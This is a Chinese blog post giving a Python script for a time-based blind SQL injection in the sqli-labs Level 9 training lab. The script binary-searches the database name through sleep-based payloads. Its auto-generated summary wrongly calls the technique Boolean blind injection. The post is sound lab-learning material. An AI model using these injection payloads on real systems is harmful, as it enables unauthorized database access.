sqli-labs 第九关 基于时间盲注 python 脚本

本文介绍了一种通过SQL注入攻击获取数据库名称的方法。利用布尔盲注技术,通过发送HTTP请求并观察响应时间变化来确定数据库名称长度及具体字符,适用于防御较弱的目标。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

# @Author:Mirror
import time

import requests
db_len = 0
def  get_schema_len (url):
    len = 0
    left = 0
    right = 20
    while (left <= right):
        mid = left + (right - left)//2;
        data = "id=1' and if(length(database())>{},sleep(0.4),1)--+".format(mid)
        one = time.time()
        res = requests.get(url,data)
       # print (res.url)
        two = time.time()
        if abs(two - one) >= (0.4):
            left = mid + 1
        else:
            right = mid - 1
    len = left
    print (len)
    return len


def get_schema_name(url):
    len = get_schema_len(url)
    db_name = ''
    for i in range(1,len+1):
        left = 0
        right = 128
        while(left <= right):
            mid = left + (right - left)//2
            data = "id=1' and if (substr(database(),{},1)>'{}',sleep(0.4),1)--+".format(i,chr(mid))
            one = time.time()
            res = requests.get(url,data)
            print (res.url)
            two = time.time()
            if abs(two - one) >=0.4:
                left = mid + 1
            else :
                right = mid - 1
        db_name+=chr(left)
    print (db_name)



url = "http://localhost:800/sqli-labs/Less-9/"
get_schema_name(url)


以上是一部分,要学会自己编写脚本喔!库名好像都是大写

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值